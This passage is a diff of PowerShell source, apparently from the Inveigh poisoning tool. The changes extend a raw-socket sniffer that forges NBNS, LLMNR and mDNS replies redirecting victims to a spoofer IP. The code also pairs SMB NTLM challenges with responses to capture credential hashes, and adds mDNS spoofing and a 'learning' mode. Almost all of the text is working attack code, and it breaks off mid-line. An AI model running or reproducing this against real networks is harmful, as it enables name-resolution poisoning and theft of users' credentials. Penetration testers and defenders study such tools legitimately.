($LLMNR_response_message,$NBNS_response_message,$IP,$SpooferIP,$SMB,$LLMNR,$NBNS,$NBNSTypes,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$RunTime,$LLMNRTTL,$NBNSTTL) + param ($IP,$LLMNR,$LLMNR_response_message,$LLMNRTTL,$mDNS,$mDNS_response_message,$mDNSTypes,$mDNSTTL,$NBNS,$NBNS_response_message,$NBNSTypes,$NBNSTTL,$SMB,$SpooferHostsIgnore,$SpooferHostsReply,$SpooferIP,$SpooferIPsIgnore,$SpooferIPsReply, + $SpooferLearning,$SpooferLearningDelay,$SpooferLearningInterval) + $sniffer_running = $true $byte_in = New-Object System.Byte[] 4 $byte_out = New-Object System.Byte[] 4 $byte_data = New-Object System.Byte[] 4096 @@ -1317,57 +2201,75 @@ $sniffer_scriptblock = $byte_in[1-3] = 0 $byte_out[0] = 1 $byte_out[1-3] = 0 - $inveigh.sniffer_socket = New-Object System.Net.Sockets.Socket([Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Raw,[Net.Sockets.ProtocolType]::IP) - $inveigh.sniffer_socket.SetSocketOption("IP","HeaderIncluded",$true) - $inveigh.sniffer_socket.ReceiveBufferSize = 1024 - $end_point = New-Object System.Net.IPEndpoint([System.Net.IPAddress]"$IP",0) - $inveigh.sniffer_socket.Bind($end_point) - $inveigh.sniffer_socket.IOControl([System.Net.Sockets.IOControlCode]::ReceiveAll,$byte_in,$byte_out) - $LLMNR_TTL_bytes = [System.BitConverter]::GetBytes($LLMNRTTL) - [Array]::Reverse($LLMNR_TTL_bytes) - $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) - [Array]::Reverse($NBNS_TTL_bytes) + $sniffer_socket = New-Object System.Net.Sockets.Socket([Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Raw,[Net.Sockets.ProtocolType]::IP) + $sniffer_socket.SetSocketOption("IP","HeaderIncluded",$true) + $sniffer_socket.ReceiveBufferSize = 4096 + + try + { + $end_point = New-Object System.Net.IPEndpoint([System.Net.IPAddress]"$IP",0) + } + catch + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting sniffer/spoofer") + $sniffer_running = $false + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting sniffer/spoofer") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Error starting sniffer/spoofer") + } - if($RunTime) - { - $sniffer_timeout = new-timespan -Minutes $RunTime - $sniffer_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() } - while($inveigh.running) + $sniffer_socket.Bind($end_point) + $sniffer_socket.IOControl([System.Net.Sockets.IOControlCode]::ReceiveAll,$byte_in,$byte_out) + $LLMNR_TTL_bytes = [System.BitConverter]::GetBytes($LLMNRTTL) + [Array]::Reverse($LLMNR_TTL_bytes) + $mDNS_TTL_bytes = [System.BitConverter]::GetBytes($mDNSTTL) + [Array]::Reverse($mDNS_TTL_bytes) + $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) + [Array]::Reverse($NBNS_TTL_bytes) + $LLMNR_learning_log = New-Object System.Collections.Generic.List[string] + $NBNS_learning_log = New-Object System.Collections.Generic.List[string] + + if($SpooferLearningDelay) + { + $spoofer_learning_delay = New-TimeSpan -Minutes $SpooferLearningDelay + $spoofer_learning_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } + + while($inveigh.running -and $sniffer_running) { - $packet_data = $inveigh.sniffer_socket.Receive($byte_data,0,$byte_data.Length,[System.Net.Sockets.SocketFlags]::None) + $packet_data = $sniffer_socket.Receive($byte_data,0,$byte_data.Length,[System.Net.Sockets.SocketFlags]::None) $memory_stream = New-Object System.IO.MemoryStream($byte_data,0,$packet_data) $binary_reader = New-Object System.IO.BinaryReader($memory_stream) $version_HL = $binary_reader.ReadByte() - $type_of_service= $binary_reader.ReadByte() + $binary_reader.ReadByte() > $null $total_length = DataToUInt16 $binary_reader.ReadBytes(2) - $identification = $binary_reader.ReadBytes(2) - $flags_offset = $binary_reader.ReadBytes(2) - $TTL = $binary_reader.ReadByte() + $binary_reader.ReadBytes(5) > $null $protocol_number = $binary_reader.ReadByte() - $header_checksum = [System.Net.IPAddress]::NetworkToHostOrder($binary_reader.ReadInt16()) + $binary_reader.ReadBytes(2) > $null $source_IP_bytes = $binary_reader.ReadBytes(4) $source_IP = [System.Net.IPAddress]$source_IP_bytes $destination_IP_bytes = $binary_reader.ReadBytes(4) $destination_IP = [System.Net.IPAddress]$destination_IP_bytes - $IP_version = [Int]"0x$(('{0:X}' -f $version_HL)[0])" $header_length = [Int]"0x$(('{0:X}' -f $version_HL)[1])" * 4 switch($protocol_number) { - + 6 { # TCP $source_port = DataToUInt16 $binary_reader.ReadBytes(2) $destination_port = DataToUInt16 $binary_reader.ReadBytes(2) - $sequence_number = DataToUInt32 $binary_reader.ReadBytes(4) - $ack_number = DataToUInt32 $binary_reader.ReadBytes(12) + $binary_reader.ReadBytes(8) > $null $TCP_header_length = [Int]"0x$(('{0:X}' -f $binary_reader.ReadByte())[0])" * 4 - $TCP_flags = $binary_reader.ReadByte() - $TCP_window = DataToUInt16 $binary_reader.ReadBytes(2) - $TCP_checksum = [System.Net.IPAddress]::NetworkToHostOrder($binary_reader.ReadInt16()) - $TCP_urgent_pointer = DataToUInt16 $binary_reader.ReadBytes(2) + $binary_reader.ReadBytes(7) > $null $payload_bytes = $binary_reader.ReadBytes($total_length - ($header_length + $TCP_header_length)) switch ($destination_port) @@ -1377,7 +2279,16 @@ $sniffer_scriptblock = { if($SMB -eq 'Y') { - SMBNTLMResponse $payload_bytes + + if($NTLM_challenge -and $client_IP -eq $source_IP -and $client_port -eq $source_port) + { + SMBNTLMResponse $payload_bytes + } + + $client_IP = "" + $client_port = "" + $NTLM_challenge = "" + } } @@ -1386,7 +2297,16 @@ $sniffer_scriptblock = if($SMB -eq 'Y') { - SMBNTLMResponse $payload_bytes + + if($NTLM_challenge -and $client_IP -eq $source_IP -and $client_port -eq $source_port) + { + SMBNTLMResponse $payload_bytes + } + + $client_IP = "" + $client_port = "" + $NTLM_challenge = "" + } } @@ -1402,6 +2322,8 @@ $sniffer_scriptblock = if($SMB -eq 'Y') { + $client_IP = $destination_IP + $client_port = $destination_port $NTLM_challenge = SMBNTLMChallenge $payload_bytes } @@ -1412,6 +2334,8 @@ $sniffer_scriptblock = if($SMB -eq 'Y') { + $client_IP = $destination_IP + $client_port = $destination_port $NTLM_challenge = SMBNTLMChallenge $payload_bytes } @@ -1423,30 +2347,29 @@ $sniffer_scriptblock = 17 { # UDP - $source_port = $binary_reader.ReadBytes(2) + $source_port = $binary_reader.ReadBytes(2) $endpoint_source_port = DataToUInt16 ($source_port) $destination_port = DataToUInt16 $binary_reader.ReadBytes(2) $UDP_length = $binary_reader.ReadBytes(2) $UDP_length_uint = DataToUInt16 ($UDP_length) - $binary_reader.ReadBytes(2) + $binary_reader.ReadBytes(2) > $null $payload_bytes = $binary_reader.ReadBytes(($UDP_length_uint - 2) * 4) # Incoming packets - switch ($destination_port) + switch($destination_port) { 137 # NBNS { - if($payload_bytes[5] -eq 1 -and $IP -ne $source_IP) + if(([System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00' -or [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-00-00-01') -and [System.BitConverter]::ToString($payload_bytes[10..11]) -ne '00-01') { - $UDP_length[0] += 16 + $UDP_length[0] += 12 $NBNS_response_data = $payload_bytes[13..$payload_bytes.Length] + - $NBNS_TTL_bytes + - 0x00,0x06,0x00,0x00 + - ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + - 0x00,0x00,0x00,0x00 + $NBNS_TTL_bytes + + 0x00,0x06,0x00,0x00 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() $NBNS_response_packet = 0x00,0x89 + $source_port[1,0] + @@ -1456,9 +2379,6 @@ $sniffer_scriptblock = 0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + $NBNS_response_data - $send_socket = New-Object Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp) - $send_socket.SendBufferSize = 1024 - $destination_point = New-Object Net.IPEndpoint($source_IP,$endpoint_source_port) $NBNS_query_type = [System.BitConverter]::ToString($payload_bytes[43..44]) switch ($NBNS_query_type) @@ -1486,17 +2406,17 @@ $sniffer_scriptblock = '42-4D' { - $NBNS_query_type = '1C' + $NBNS_query_type = '1C' } '42-4E' { - $NBNS_query_type = '1D' + $NBNS_query_type = '1D' } '42-4F' { - $NBNS_query_type = '1E' + $NBNS_query_type = '1E' } } @@ -1527,55 +2447,356 @@ $sniffer_scriptblock = } until($n -gt ($NBNS_query_string_subtracted.Length - 1) -or $NBNS_query_string.Length -eq 15) + $NBNS_request_ignore = $false + if($NBNS -eq 'Y') { - if($NBNSTypes -contains $NBNS_query_type) + if($SpooferLearning -eq 'Y' -and $inveigh.valid_host_list -notcontains $NBNS_query_string -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00' -and $source_IP -ne $IP) { - - if ((!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and (!$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString)) - { - $send_socket.sendTo($NBNS_response_packet,$destination_point) - $send_socket.Close() - $NBNS_response_message = "- spoofed response has been sent" - } - else + + if(($NBNS_learning_log.Exists({param($s) $s -like "20* $NBNS_query_string"}))) { + $NBNS_learning_queue_time = [DateTime]$NBNS_learning_log.Find({param($s) $s -like "20* $NBNS_query_string"}).SubString(0,19) - if($SpooferHostsReply -and $SpooferHostsReply -notcontains $NBNS_query_string) + if((Get-Date) -ge $NBNS_learning_queue_time.AddMinutes($SpooferLearningInterval)) { - $NBNS_response_message = "- $NBNS_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $NBNS_query_string) - { - $NBNS_response_message = "- $NBNS_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $NBNS_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $NBNS_response_message = "- $source_IP is on ignore list" + $NBNS_learning_log.RemoveAt($NBNS_learning_log.FindIndex({param($s) $s -like "20* $NBNS_query_string"})) + $NBNS_learning_send = $true } else { - $NBNS_response_message = "- not spoofed due to previous capture" + $NBNS_learning_send = $false } - + + } + else + { + $NBNS_learning_send = $true + } + + if($NBNS_learning_send) + { + $NBNS_transaction_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $NBNS_transaction_ID_bytes = $NBNS_transaction_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $NBNS_transaction_ID = $NBNS_transaction_ID -replace " ","-" + $NBNS_UDP_client = new-Object System.Net.Sockets.UdpClient 137 + $NBNS_hostname_bytes = $payload_bytes[13..($payload_bytes.Length - 5)] + + $NBNS_request_packet = $NBNS_transaction_ID_bytes + + 0x01,0x10,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x20 + + $NBNS_hostname_bytes + + 0x00,0x20,0x00,0x01 + + $NBNS_learning_destination_endpoint = New-Object System.Net.IPEndpoint([IPAddress]::broadcast,137) + $NBNS_UDP_client.Connect($NBNS_learning_destination_endpoint) + $NBNS_UDP_client.Send($NBNS_request_packet,$NBNS_request_packet.Length) + $NBNS_UDP_client.Close() + $NBNS_learning_log.Add("$(Get-Date -format 's') $NBNS_transaction_ID $NBNS_query_string") + $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string sent to " + $NBNS_learning_destination_endpoint.Address.IPAddressToString) + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $NBNS_query_string sent to " + $NBNS_learning_destination_endpoint.Address.IPAddressToString) + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - LLMNR request for $NBNS_query_string sent to " + $NBNS_learning_destination_endpoint.Address.IPAddressToString) + } + } + } + + if(($inveigh.valid_host_list -notcontains $NBNS_query_string -or $SpooferHostsReply -contains $NBNS_query_string) -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and ( + !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and ( + !$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ($NBNS_query_string.Trim() -ne '*') -and ( + $SpooferLearning -eq 'N' -or ($SpooferLearning -eq 'Y' -and !$SpooferLearningDelay) -or ($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -ge $spoofer_learning_delay)) -and ($source_IP -ne $IP) -and ( + $NBNSTypes -contains $NBNS_query_type)) + { + + if($SpooferLearning -eq 'N' -or !$NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) + { + $NBNS_send_socket = New-Object Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp) + $NBNS_send_socket.SendBufferSize = 1024 + $NBNS_destination_point = New-Object Net.IPEndpoint($source_IP,$endpoint_source_port) + $NBNS_send_socket.SendTo($NBNS_response_packet,$NBNS_destination_point) + $NBNS_send_socket.Close() + $NBNS_response_message = "- response sent" + } + else + { + $NBNS_request_ignore = $true + } + } else { - $NBNS_response_message = "- spoof not sent due to disabled type" + + if($source_IP -eq $IP -and $NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) + { + $NBNS_request_ignore = $true + } + elseif($NBNSTypes -notcontains $NBNS_query_type) + { + $NBNS_response_message = "- disabled NBNS type" + } + elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $NBNS_query_string) + { + $NBNS_response_message = "- $NBNS_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $NBNS_query_string) + { + $NBNS_response_message = "- $NBNS_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $NBNS_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $NBNS_response_message = "- $source_IP is on ignore list" + } + elseif($NBNS_query_string.Trim() -eq '*') + { + $NBNS_response_message = "- NBSTAT request" + } + elseif($inveigh.valid_host_list -contains $NBNS_query_string) + { + $NBNS_response_message = "- $NBNS_query_string is a valid host" + } + elseif($inveigh.IP_capture_list -contains $source_IP.IPAddressToString) + { + $NBNS_response_message = "- previous capture from $source_IP" + } + elseif($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -lt $spoofer_learning_delay) + { + $NBNS_response_message = "- " + [Int]($SpooferLearningDelay - $spoofer_learning_stopwatch.Elapsed.TotalMinutes) + " minute(s) until spoofing starts" + } + elseif($source_IP -eq $IP -and !$NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) + { + $NBNS_response_message = "- local request" + } + else + { + $NBNS_response_message = "- something went wrong" + } + + } + + } + + if(!$NBNS_request_ignore -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00') + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") + } + + } + elseif($SpooferLearning -eq 'Y' -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-00-00-01' -and $NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) + { + [Byte[]]$NBNS_response_IP_bytes = $payload_bytes[($payload_bytes.Length - 4)..($payload_bytes.Length)] + $NBNS_response_IP = [System.Net.IPAddress]$NBNS_response_IP_bytes + $NBNS_response_IP = $NBNS_response_IP.IPAddressToString + + if($inveigh.valid_host_list -notcontains $NBNS_query_string) + { + $inveigh.valid_host_list.Add($NBNS_query_string) + $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS response $NBNS_response_IP for $NBNS_query_string received from $source_IP - $NBNS_query_string added to valid host list") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS response $NBNS_response_IP for $NBNS_query_string received from $source_IP - $NBNS_query_string added to valid host list") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - NBNS response $NBNS_response_IP for $NBNS_query_string received from $source_IP - $NBNS_query_string added to valid host list") + } + } } - $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message")]) } + + } + + 5353 # mDNS + { + + if([System.BitConverter]::ToString($payload_bytes) -like '*-00-01-80-01') + { + $UDP_length[0] += 10 + $mDNS_query_payload_bytes = $payload_bytes[(12)..($payload_bytes.Length - 5)] + $mDNS_query_string = DataToString 1 $mDNS_query_payload_bytes[0] $mDNS_query_payload_bytes + $mDNS_query_string_full = $mDNS_query_string + ".local" + + $mDNS_response_data = $mDNS_query_payload_bytes + + 0x00,0x01,0x00,0x01 + + $mDNS_TTL_bytes + + 0x00,0x04 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + $mDNS_response_packet = 0x14,0xe9 + + $source_port[1,0] + + $UDP_length[1,0] + + 0x00,0x00 + + $payload_bytes[0,1] + + 0x84,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00 + + $mDNS_response_data + + if($mDNS -eq 'Y') + { + + if((!$SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string) -and (!$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $mDNS_query_string) -and ( + !$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( + $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ($mDNSTypes -contains 'QU')) + { + $send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp ) + $send_socket.SendBufferSize = 1024 + $destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port) + $send_socket.SendTo($mDNS_response_packet,$destination_point) + $send_socket.Close() + $mDNS_response_message = "- response sent" + } + else + { + + if($mDNSTypes -notcontains 'QU') + { + $mDNS_response_message = "- disabled mDNS type" + } + elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $mDNS_query_string) + { + $mDNS_response_message = "- $mDNS_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $mDNS_query_string) + { + $mDNS_response_message = "- $mDNS_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $mDNS_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $mDNS_response_message = "- $source_IP is on ignore list" + } + else + { + $mDNS_response_message = "- not spoofed due to previous capture" + } + + } + + } + + $inveigh.console_queue.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + } + + } + elseif([System.BitConverter]::ToString($payload_bytes) -like '*-05-6C-6F-63-61-6C-00-00-01-00-01-*') + { + $UDP_length[0] += 4 + $mDNS_query_payload_bytes = $payload_bytes[12..($payload_bytes[12] + 12)] + $mDNS_query_string = DataToString 1 $mDNS_query_payload_bytes[0] $mDNS_query_payload_bytes + $mDNS_query_string_full = $mDNS_query_string + ".local" + + $mDNS_response_data = $mDNS_query_payload_bytes + + 0x05,0x6c,0x6f,0x63,0x61,0x6c,0x00 + + 0x00,0x01,0x80,0x01 + + $mDNS_TTL_bytes + + 0x00,0x04 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + + $mDNS_response_packet = 0x14,0xe9 + + $source_port[1,0] + + $UDP_length[1,0] + + 0x00,0x00 + + $payload_bytes[0,1] + + 0x84,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00 + + $mDNS_response_data + + if($mDNS -eq 'Y') + { + + if((!$SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string) -and (!$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $mDNS_query_string) -and ( + !$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( + $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ($mDNSTypes -contains 'QM')) + { + $send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp ) + $send_socket.SendBufferSize = 1024 + $destination_point = New-Object System.Net.IPEndpoint([IPAddress]"224.0.0.251",5353) + $send_socket.SendTo($mDNS_response_packet,$destination_point) + $send_socket.Close() + $mDNS_response_message = "- response sent" + } + else + { + + if($mDNSTypes -notcontains 'QM') + { + $mDNS_response_message = "- disabled mDNS type" + } + elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $mDNS_query_string) + { + $mDNS_response_message = "- $mDNS_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $mDNS_query_string) + { + $mDNS_response_message = "- $mDNS_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $mDNS_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $mDNS_response_message = "- $source_IP is on ignore list" + } + else + { + $mDNS_response_message = "- not spoofed due to previous capture" + } + + } + + } + + $inveigh.console_queue.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + } + + } + } 5355 # LLMNR @@ -1592,29 +2813,109 @@ $sniffer_scriptblock = ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() $LLMNR_response_packet = 0x14,0xeb + - $source_port[1,0] + - $UDP_length[1,0] + - 0x00,0x00 + - $payload_bytes[0,1] + - 0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 + - $LLMNR_response_data + $source_port[1,0] + + $UDP_length[1,0] + + 0x00,0x00 + + $payload_bytes[0,1] + + 0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 + + $LLMNR_response_data $LLMNR_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes.Length - 4)]) $LLMNR_query = $LLMNR_query -replace "-00","" - $LLMNR_query = $LLMNR_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $LLMNR_query_string = New-Object System.String($LLMNR_query,0,$LLMNR_query.Length) + + if($LLMNR_query.Length -eq 2) + { + $LLMNR_query = [Char][System.Convert]::ToInt16($LLMNR_query,16) + $LLMNR_query_string = New-Object System.String($LLMNR_query) + } + else + { + $LLMNR_query = $LLMNR_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $LLMNR_query_string = New-Object System.String($LLMNR_query,0,$LLMNR_query.Length) + } + + $LLMNR_request_ignore = $false if($LLMNR -eq 'Y') { - if((!$SpooferHostsReply -or $SpooferHostsReply -contains $LLMNR_query_string) -and (!$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString)) + if($SpooferLearning -eq 'Y' -and $inveigh.valid_host_list -notcontains $LLMNR_query_string -and $source_IP -ne $IP) { - $send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp ) - $send_socket.SendBufferSize = 1024 - $destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port) - $send_socket.SendTo($LLMNR_response_packet,$destination_point) - $send_socket.Close() - $LLMNR_response_message = "- spoofed response has been sent" + + if(($LLMNR_learning_log.Exists({param($s) $s -like "20* $LLMNR_query_string"}))) + { + $LLMNR_learning_queue_time = [DateTime]$LLMNR_learning_log.Find({param($s) $s -like "20* $LLMNR_query_string"}).SubString(0,19) + + if((Get-Date) -ge $LLMNR_learning_queue_time.AddMinutes($SpooferLearningInterval)) + { + $LLMNR_learning_log.RemoveAt($LLMNR_learning_log.FindIndex({param($s) $s -like "20* $LLMNR_query_string"})) + $LLMNR_learning_send = $true + } + else + { + $LLMNR_learning_send = $false + } + + } + else + { + $LLMNR_learning_send = $true + } + + if($LLMNR_learning_send) + { + $LLMNR_transaction_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $LLMNR_transaction_ID_bytes = $LLMNR_transaction_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $LLMNR_transaction_ID = $LLMNR_transaction_ID -replace " ","-" + $LLMNR_UDP_client = new-Object System.Net.Sockets.UdpClient + $LLMNR_hostname_bytes = $payload_bytes[13..($payload_bytes.Length - 5)] + + $LLMNR_request_packet = $LLMNR_transaction_ID_bytes + + 0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00 + + ($LLMNR_hostname_bytes.Length - 1) + + $LLMNR_hostname_bytes + + 0x00,0x01,0x00,0x01 + + $LLMNR_learning_destination_endpoint = New-Object System.Net.IPEndpoint([IPAddress]"224.0.0.252",5355) + $LLMNR_UDP_client.Connect($LLMNR_learning_destination_endpoint) + $LLMNR_UDP_client.Send($LLMNR_request_packet,$LLMNR_request_packet.Length) + $LLMNR_UDP_client.Close() + $LLMNR_learning_log.Add("$(Get-Date -format 's') $LLMNR_transaction_ID $LLMNR_query_string") + $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string sent to 224.0.0.252") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string sent to 224.0.0.252") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string sent to 224.0.0.252") + } + + } + + } + + if(($inveigh.valid_host_list -notcontains $LLMNR_query_string -or $SpooferHostsReply -contains $LLMNR_query_string) -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $LLMNR_query_string) -and ( + !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and ( + !$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ( + $SpooferLearning -eq 'N' -or ($SpooferLearning -eq 'Y' -and !$SpooferLearningDelay) -or ($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -ge $spoofer_learning_delay))) + { + + if($SpooferLearning -eq 'N' -or !$LLMNR_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) + { + $LLMNR_send_socket = New-Object 